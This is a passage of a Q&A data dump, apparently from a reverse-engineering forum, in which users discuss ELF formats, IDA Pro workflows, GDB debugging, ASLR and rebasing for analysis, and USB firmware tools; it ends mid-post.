  <row Id="8704" PostTypeId="1" AcceptedAnswerId="8705" CreationDate="2015-04-15T08:04:10.690" Score="1" ViewCount="311" Body="&lt;p&gt;I've been given an ELF binary file which self describes as PowerPC 64-bit. The &lt;code&gt;e_entry&lt;/code&gt; field of the ELF header points to the beginning of a section called &lt;code&gt;.opd&lt;/code&gt;. According to this &lt;a href=&quot;http://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi-1.9.html#ELF-HEAD&quot; rel=&quot;nofollow&quot;&gt;specification&lt;/a&gt;, it is supposed to point to a function descriptor. The same &lt;a href=&quot;http://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi-1.9.html#FUNC-DES&quot; rel=&quot;nofollow&quot;&gt;specification&lt;/a&gt; states that a function descriptor consists of three doublewords (64-bit words). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the binary in question (available &lt;a href=&quot;https://sourceforge.net/p/decompiler/feature-requests/11/attachment/21sample.elf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) appears to have only two 32-bit words for each function descriptor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, why are there 32-bit pointers in this 64-bit binary? &lt;/p&gt;&#xA;" OwnerUserId="12260" LastEditorUserId="53" LastEditDate="2015-04-15T12:39:23.883" LastActivityDate="2015-04-15T16:17:58.707" Title="Can PowerPC64 ELF file have 32-bit pointers?" Tags="|elf|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8705" PostTypeId="2" ParentId="8704" CreationDate="2015-04-15T13:26:40.250" Score="4" Body="&lt;p&gt;PS3 (cell) ABI used 64-bit registers but 32-bit pointers. Maybe this sample is from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. section names &lt;code&gt;.sceStub.text&lt;/code&gt; and &lt;code&gt;.rodata.sceResident&lt;/code&gt; definitely point to Sony code (SCE= Sony Computer Entertainment)&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2015-04-15T16:17:58.707" LastActivityDate="2015-04-15T16:17:58.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8706" PostTypeId="2" ParentId="8700" CreationDate="2015-04-15T19:27:21.987" Score="2" Body="&lt;p&gt;Did you try OllyDBG 2.01 ? It correctly shows the label in the status bar below the CPU for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4FRt1.png&quot; alt=&quot;CPU status bar with a label&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="53" LastEditDate="2015-04-15T21:02:43.563" LastActivityDate="2015-04-15T21:02:43.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8707" PostTypeId="1" CreationDate="2015-04-16T10:42:46.683" Score="2" ViewCount="606" Body="&lt;p&gt;I finally successfuly installed a cross toolchain from this &lt;a href=&quot;http://www.hs-augsburg.de/~beckmanf/dokuwiki/doku.php?id=mips_cross_compiler&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; in order to run and debug a mips elf on my x86-64 . I only have the elf file. I can disassemble it but when i try to run it with :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mipsel-none-elf-run myelf&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i get the following error :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mips-core: 4 byte read to unmapped address 0x400670 at 0x400670&#xA;program stopped with signal 10 (User defined signal 1).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(the adresse 0x400670 points the first instructions of the main function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifying the endianess to the tool gives me the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to run it with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mipsel-none-elf-gdb myelf&#xA;&#xA;GNU gdb (GDB) 7.5.1&#xA;Copyright (C) 2012 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;&#xA;This is free software: you are free to change and redistribute it.&#xA;There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;&#xA;and &quot;show warranty&quot; for details.&#xA;This GDB was configured as &quot;--host=x86_64-unknown-linux-gnu --target=mipsel-none-elf&quot;.&#xA;For bug reporting instructions, please see:&#xA;&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;...&#xA;&#xA;warning: A handler for the OS ABI &quot;GNU/Linux&quot; is not built into this configuration&#xA;of GDB.  Attempting to continue with the default mips:3000 settings.&#xA;&#xA;Reading symbols from /home/ashkan/Crack/crackme200...(no debugging symbols found)...done.&#xA;(gdb) target sim&#xA;Connected to the simulator.&#xA;(gdb) load&#xA;Loading section .interp, size 0xd vma 0x400154&#xA;Loading section .note.ABI-tag, size 0x20 vma 0x400164&#xA;Loading section .reginfo, size 0x18 vma 0x400184&#xA;Loading section .note.gnu.build-id, size 0x24 vma 0x40019c&#xA;Loading section .dynamic, size 0xd8 vma 0x4001c0&#xA;Loading section .hash, size 0xa4 vma 0x400298&#xA;Loading section .dynsym, size 0x160 vma 0x40033c&#xA;Loading section .dynstr, size 0xdf vma 0x40049c&#xA;Loading section .gnu.version, size 0x2c vma 0x40057c&#xA;Loading section .gnu.version_r, size 0x30 vma 0x4005a8&#xA;Loading section .init, size 0x90 vma 0x4005d8&#xA;Loading section .text, size 0x490 vma 0x400670&#xA;Loading section .MIPS.stubs, size 0xa0 vma 0x400b00&#xA;Loading section .fini, size 0x4c vma 0x400ba0&#xA;Loading section .rodata, size 0x40 vma 0x400bec&#xA;Loading section .eh_frame, size 0x4 vma 0x400c2c&#xA;Loading section .ctors, size 0xc vma 0x410c30&#xA;Loading section .dtors, size 0x8 vma 0x410c3c&#xA;Loading section .jcr, size 0x4 vma 0x410c44&#xA;Loading section .data, size 0x1b0 vma 0x410c50&#xA;Loading section .rld_map, size 0x4 vma 0x410e00&#xA;Loading section .got, size 0x5c vma 0x410e10&#xA;Loading section .sdata, size 0x4 vma 0x410e6c&#xA;---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---&#xA;Start address 0x400670&#xA;Transfer rate: 26592 bits in &amp;lt;1 sec.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used target sim and load to configure gdb. But when i want to run the program. I get :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(gdb) r &#xA;Starting program: /home/ashkan/Crack/crackme200 &#xA;mips-core: 4 byte read to unmapped address 0x400670 at 0x400670&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Program received signal SIGBUS, Bus error.&#xA;0x00400670 in ?? ()&#xA;(gdb) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i've read that the error comes from unaligned adresses. Is there a way to fix it ? Here is the link to the elf file: &lt;a href=&quot;https://bitbucket.org/Nomyo/reverse-engineering/downloads&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; If anybody has an idea.. Thanks have a good day.&lt;/p&gt;&#xA;" OwnerUserId="12182" LastEditorUserId="12182" LastEditDate="2015-04-16T15:43:52.157" LastActivityDate="2015-04-16T15:43:52.157" Title="Trying to run MIPS ELF with a cross toolchain but sigbus error" Tags="|x86|debugging|elf|mips|error|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8708" PostTypeId="1" AcceptedAnswerId="8710" CreationDate="2015-04-16T12:46:55.040" Score="6" ViewCount="1410" Body="&lt;p&gt;I am reversing a few modules which share many c++ classes.  I am currently maintaining a single header file which contains every struct definition from each database.  I update this using a produced header file after working on a module.  I then import it when I begin working on a separate module.  This approach is error prone, and I have lost some progress by mistakenly overwriting modified structs in different databases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to configure IDA Pro to read and write to a single struct definition file across multiple databases?    If not, what would be a best practice for this type of situation?&lt;/p&gt;&#xA;" OwnerUserId="12276" LastActivityDate="2015-04-16T16:16:28.270" Title="How can I sync structs across multiple IDA databases?" Tags="|ida|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8709" PostTypeId="2" ParentId="8708" CreationDate="2015-04-16T14:37:12.900" Score="0" Body="&lt;p&gt;It is impossible to configure IDA to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best simple practice for this that I can imagine is using source control tools such as git or svn for storing exported files.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-04-16T14:37:12.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8710" PostTypeId="2" ParentId="8708" CreationDate="2015-04-16T16:16:28.270" Score="1" Body="&lt;p&gt;you can try extending &lt;a href=&quot;http://www.openrce.org/downloads/details/227/Structure_Dump&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; which already implements the export and import part of the functionality.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-04-16T16:16:28.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8711" PostTypeId="1" CreationDate="2015-04-16T18:57:01.867" Score="5" ViewCount="3497" Body="&lt;p&gt;I have a game (Crysis 2) and the developers exported each DLL to be loaded separately by the main executable instead of merging all of them. Instead of having 9 instance of IDA open everytime and switching between tabs I wanted to load all the modules together as if they were 1 executable. I looked at this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hexblog.com/?p=6&quot; rel=&quot;noreferrer&quot;&gt;http://www.hexblog.com/?p=6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when I tried the script it had a syntax error, which I later fixed. Once I &quot;fixed&quot; it (by merely commenting the function call out) I tried running the script again and ended up with this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/swC8v.png&quot; alt=&quot;IDA Error from the script&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then loads the segment but doesn't load strings, imports etc. because as the error stated the main structure in the PE file format was not found..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any solutions to this or any alternative ways of loading all the DLLs in one database?&lt;/p&gt;&#xA;" OwnerUserId="11466" LastActivityDate="2015-12-12T07:54:04.990" Title="Load multiple modules in one IDA database" Tags="|ida|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8712" PostTypeId="2" ParentId="8513" CreationDate="2015-04-16T20:12:51.887" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;USB devices are recognized by VID/PID instead of strings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that string you found there is most likely only to print to screen purposes so try to find &lt;strong&gt;VID PID&lt;/strong&gt; identification of old mouse and replace by new one. The &lt;strong&gt;VID&lt;/strong&gt; will be most likely the same and &lt;strong&gt;PID&lt;/strong&gt; is usually just an increment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;if your mouse start double/miss clicking/glitching&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then may be it is just wrong micro-switch. If you replace it (way much simpler them changing software) then it should work as new (of coarse if you still have the old mouse and no other bug is there).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;if nothing helps and the protocol is compatible&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you could make &lt;strong&gt;USB-USB&lt;/strong&gt; bridge. Make &lt;strong&gt;USB&lt;/strong&gt; device with &lt;strong&gt;VID PID&lt;/strong&gt; and info strings of old mouse on &lt;strong&gt;PC&lt;/strong&gt; side (&lt;strong&gt;USB&lt;/strong&gt; client) and &lt;strong&gt;USB&lt;/strong&gt; host on the other to which you will connect the real mouse. The bridge should just forwarding packets between new mouse and PC. That will cause a small delay of the mouse but should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need some &lt;strong&gt;MCU&lt;/strong&gt; with 2 &lt;strong&gt;USB&lt;/strong&gt;'s (and &lt;strong&gt;USB&lt;/strong&gt; host capability) or network 2 &lt;strong&gt;MCU&lt;/strong&gt;'s with single &lt;strong&gt;USB&lt;/strong&gt; by other connection like &lt;strong&gt;RS232,SPI&lt;/strong&gt; or whatever. My favorites are &lt;strong&gt;ATMEL UC3&lt;/strong&gt; chips but there are many other out there too&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Notes]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;taken from: &lt;a href=&quot;http://www.linux-usb.org/usb.ids&quot; rel=&quot;nofollow noreferrer&quot;&gt;USB VID/PID list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VID = 046D [hex] ... Logitech&#xA;PID = C06B [hex] ... G700 Wireless Gaming Mouse&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;look in device manager for the &lt;strong&gt;VID/PID&lt;/strong&gt; of the new mouse or inside its driver &lt;code&gt;inf&lt;/code&gt; file ...&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2017-11-11T10:36:46.307" LastActivityDate="2017-11-11T10:36:46.307" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8714" PostTypeId="1" AcceptedAnswerId="8715" CreationDate="2015-04-17T02:33:33.893" Score="6" ViewCount="392" Body="&lt;p&gt;I have read that dynamic instrumentation can be done using tools like PIN or Valgrind. However Valgrind provides intermediate representation and converts the binary into SSA which makes it more convenient to perform binary analysis. Could anyone please explain why using an SSA form is more convenient. Why is it difficult to perform dynamic analysis using PIN without an Intermediate representation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="11987" LastActivityDate="2015-04-17T10:37:53.430" Title="Use of SSA (Single Static Assignment) while dynamic analysis" Tags="|dynamic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8715" PostTypeId="2" ParentId="8714" CreationDate="2015-04-17T10:23:39.763" Score="7" Body="&lt;p&gt;Answering this questions will require a lot more space than what is provided. I rather point you to the best references you can find in order to deeply understand the requirement for &lt;code&gt;SSA&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, start with &lt;a href=&quot;http://en.wikipedia.org/wiki/Static_single_assignment_form&quot;&gt;Wikipedia&lt;/a&gt; so that you get familiarized with the basic structure and building blocks of &lt;code&gt;SSA&lt;/code&gt; (Phi functions, ...). Then, move to &lt;a href=&quot;http://grothoff.org/christian/teaching/2007/3353/papers/ssa.pdf&quot;&gt;this&lt;/a&gt; reference article published in 1991, which is a bit more hairy than the Wikipedia article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a more detailed document, though incomplete, read &lt;a href=&quot;http://ssabook.gforge.inria.fr/latest/book.pdf&quot;&gt;this&lt;/a&gt; book.&lt;br&gt;&#xA;It covers a wide range of algorithms for construction/destruction and also analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish a long/detailed answer, let me know so that I can write a proper one.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2015-04-17T10:37:53.430" LastActivityDate="2015-04-17T10:37:53.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8716" PostTypeId="1" CreationDate="2015-03-10T17:50:16.127" Score="4" ViewCount="2155" Body="&lt;p&gt;How do you swap debuggers in Windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I have a process A which creates a copy of itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CreateProcessA(&quot;XXX.exe&quot;, NULL, 0x0023f560, 0x0023f560, TRUE,      &#xA;               **DEBUG_ONLY_THIS_PROCESS**, NULL, NULL, 0x0023f5f8, 0x0023f550)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It, then, debugs its child (Process B) using &lt;code&gt;WaitForDebugEvent(50ms)&lt;/code&gt; to modify the control flow of B. After a highly active startup &lt;code&gt;WaitForDebugEvent&lt;/code&gt; will time out(Return false) unless I click a button in B. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: How do I get rid of the Debugger(Process A) and attach my own debugger to B ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to call &lt;code&gt;DebugActiveProcessStop&lt;/code&gt; by injection code into A (DLL Injection) as well as by debugging A and calling it from the thread that debugs B. (inline code injection) both ways I get &lt;code&gt;ACCESS_DENIED&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try to attach a 2nd debugger you get &lt;code&gt;Error 87 (ERROR_INVALID_PARAMETER)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Environment: Win 7 x64 &lt;/p&gt;&#xA;" OwnerDisplayName="faberle" LastEditorUserId="53" LastEditDate="2015-04-17T16:41:23.713" LastActivityDate="2015-05-14T04:07:25.193" Title="How to debug a self-debugging process?" Tags="|debugging|winapi|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8717" PostTypeId="2" ParentId="8716" CreationDate="2015-04-17T18:08:15.677" Score="2" Body="&lt;p&gt;Use ProcessHacker to pause the parent process and then try to Stop deattach debugger from Processhacker &lt;/p&gt;&#xA;" OwnerUserId="12289" LastActivityDate="2015-04-17T18:08:15.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8718" PostTypeId="1" AcceptedAnswerId="8720" CreationDate="2015-04-17T22:52:16.027" Score="3" ViewCount="577" Body="&lt;p&gt;I am reversing several modules which are dynamically and statically linked into an executable.  I have started learning active analysis by attaching one of my database files to the win32 exe using the local win32 debugger (default settings).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relocating my idb's annotations to map correctly to the exe seems to be taking longer than it should.   I am currently doing static analysis by comparing one idb against a memory snapshot because the relocation time does not seem to be worth the wait.  This creates, what I think may be, unnecessary work because I have to manually copy the annotations from the single module idb to the snapshot idb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to find out if I can change how I use IDA to speed up relocation.  I have no notion of how long this should take given the database's and exe's size.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idb:  ~133 Mb&#xA;exe:  ~650 Mb     Size taken from task manager&#xA;relocation time:  ~15+ minutes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is very open ended.  I guess I'm looking for debugger settings, hidden annotation performance hits, etc.  If this is normal I will try to adjust my debugging practice to get the most out of a session.&lt;/p&gt;&#xA;" OwnerUserId="12276" LastActivityDate="2015-04-18T12:41:47.140" Title="How should I approach debugging a PE which create a large database?" Tags="|ida|debugging|dynamic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8720" PostTypeId="2" ParentId="8718" CreationDate="2015-04-18T12:41:47.140" Score="5" Body="&lt;p&gt;If the problem is the time it takes for IDA to rebase the IDB when debugging, then some possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable ASLR from module, so it keeps loading at the same base address (same base address from the IDB)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pros: Works well for main executable&lt;/li&gt;&#xA;&lt;li&gt;Cons: might be a problem for DLLs (see 3.); alter file.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How to: Remove &lt;code&gt;IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE&lt;/code&gt; (0x40) from &lt;code&gt;IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;[&lt;strong&gt;Dangerous&lt;/strong&gt;] Disable ASLR system wide (would be possible in a spare VM).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pros: same as 1.&lt;/li&gt;&#xA;&lt;li&gt;Cons: Same as 1. ; Lower whole system protection&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How to: change &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Rebase all DLLs so they don't collide (apply this with 1.)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pros: all DLLs will have different address base&lt;/li&gt;&#xA;&lt;li&gt;cons: alter files.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How-to: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Rebase&lt;/code&gt; tool (rebase.exe; deprecated by editbin.exe)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/xd3shwhf.aspx&quot; rel=&quot;noreferrer&quot;&gt;editbin.exe&lt;/a&gt; with &lt;code&gt;/REBASE&lt;/code&gt; option&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa363364%28v=vs.85%29.aspx&quot; rel=&quot;noreferrer&quot;&gt;ReBase API&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Simply use different base addresses for all the DLLs (do not apply this on system DLLs).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Use external debugger and synchronize IDB with it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How-to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;use &lt;a href=&quot;https://github.com/quarkslab/qb-sync&quot; rel=&quot;noreferrer&quot;&gt;QB-sync&lt;/a&gt;: it allows you to debug a binary from a debugger (windbg, ollydbg, gdb, etc.) and synchronize the database with the debugger &lt;strong&gt;without&lt;/strong&gt; rebasing the IDB.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pros: works well, lots of things can be done from debugger&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cons: Needs to be confident with an external debugger&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4702" LastActivityDate="2015-04-18T12:41:47.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8721" PostTypeId="2" ParentId="1937" CreationDate="2015-04-18T18:24:13.567" Score="1" Body="&lt;p&gt;If you can't/don't want to use IDAPro, perhaps you can/may want to use another automation tool. &lt;a href=&quot;https://github.com/pfalcon/ScratchABit&quot; rel=&quot;nofollow&quot;&gt;ScratchABit&lt;/a&gt; is an open-source, interactive, direct-manipulation(*) disassembler which stores all the information in simple text files, not a proprietary binary database. From these text files, the information can be easily extracted with simple scripts, or they can be stored in version control system to allow collaborative work, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: I'm the author of ScratchABit and it is work-in-progress project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) Direct manipulation means that you press a command key and immediately get a reaction, you don't need to type long commands with manually specified addresses and press Enter.&lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2015-04-18T18:24:13.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8722" PostTypeId="2" ParentId="3451" CreationDate="2015-04-18T18:52:40.710" Score="5" Body="&lt;p&gt;Unfortunately, I cannot provide answer what to do when your database is already corrupted. That's the nature of proprietary binary databases: if you're hosed, you've got to keep all the pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I may suggest that you should foresee and be prepared to IDA database corruption, which is imminent and happens sooner or later to almost everyone. So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Prefer using unpacked database (less bugs to trigger in IDA).&lt;/li&gt;&#xA;&lt;li&gt;Make backup of binary database files early and often.&lt;/li&gt;&#xA;&lt;li&gt;Save your database as an IDC file early and often (File -&gt; Produce File -&gt; Dump database to IDC file).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Give step 3 a special attention - an IDC file is your ticket out of IDA walled garden. It is known that it doesn't contain all the information IDA stores in the database, but it has most important, and it is a text file which you can re-import into IDA to restart analysis with just an executable file, or process with a simple script to filter out needed data, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, the problem of database corruption can be solved only with an open tool which uses database in open format. As a shameless plug, I work on interactive disassembler which stores database in a simple text format - &lt;a href=&quot;https://github.com/pfalcon/ScratchABit&quot; rel=&quot;noreferrer&quot;&gt;ScratchABit&lt;/a&gt;. Sooner or later, IDC import script will be written for it.&lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2015-04-18T18:52:40.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8723" PostTypeId="2" ParentId="8075" CreationDate="2015-04-18T19:16:55.190" Score="3" Body="&lt;p&gt;Standard USB protocol for firmware upgrade is &lt;a href=&quot;http://en.wikipedia.org/wiki/USB#DFU&quot; rel=&quot;nofollow&quot;&gt;DFU&lt;/a&gt;. Linux has 2 tools to work with DFU devices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://linux.die.net/man/1/dfutool&quot; rel=&quot;nofollow&quot;&gt;dfutool&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dfu-util.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;dfu-util&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;dfu-util is more advanced and for example allows to list connected DFU-capable devices, e.g. when run on my laptop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# dfu-util -l&#xA;dfu-util 0.5&#xA;&#xA;[...]&#xA;Found Runtime: [0a5c:21e6] devnum=0, cfg=1, intf=3, alt=0, name=&quot;UNDEFINED&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both of the tools may be useful though when working with different devices and their peculiarities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note though:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Quite a few vendors don't go out of their way and just use DFU, for which standard implementations and tools are available. But of course, any particular device may use a proprietary upgrade protocol. One particular case is when device uses USB solely for async serial protocol (UART/RS-232) emulation.&lt;/li&gt;&#xA;&lt;li&gt;While DFU provides means for both reading and writing firmware, any particular device may block reading as basic means of IP protection.&lt;/li&gt;&#xA;&lt;li&gt;As for writing firmware, it may be protected with check codes/signatures, so writing arbitrary firmware may be not possible.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to upgrade and modify firmware, consider buying only open devices (use community resources to discover them), and avoid, ignore, and warn other users of non-open ones.&lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2015-04-18T19:16:55.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8724" PostTypeId="1" AcceptedAnswerId="8748" CreationDate="2015-04-18T20:04:56.420" Score="20" ViewCount="26528" Body="&lt;p&gt;Given a position-independent, statically-linked, stripped binary, there does not appear to be a way in GDB to set a breakpoint at the entry point without disabling ASLR.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;break start&lt;/code&gt; and similar functions do not work, because there is no symbolic information&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;set stop-on-solib-events 1&lt;/code&gt; does not work as the binary is not dynamically linked&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;break *0xdeadbeef&lt;/code&gt; for the entry point does not work, as the entry point is unresolved until the binary starts&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;catch load&lt;/code&gt; does not work, as it does not load any libraries&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;start&lt;/code&gt; does not work, as &lt;code&gt;main&lt;/code&gt; is not defined and no libraries are loaded&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Without patching the binary, what mechanism can I use to break at the first instruction executed?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Possible?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since a now-deleted response to the question said that a PIE statically-linked binary is impossible, a trivial example is the linker itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is statically linked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ldd /lib/x86_64-linux-gnu/ld-2.19.so&#xA;    statically linked&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is executable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strace 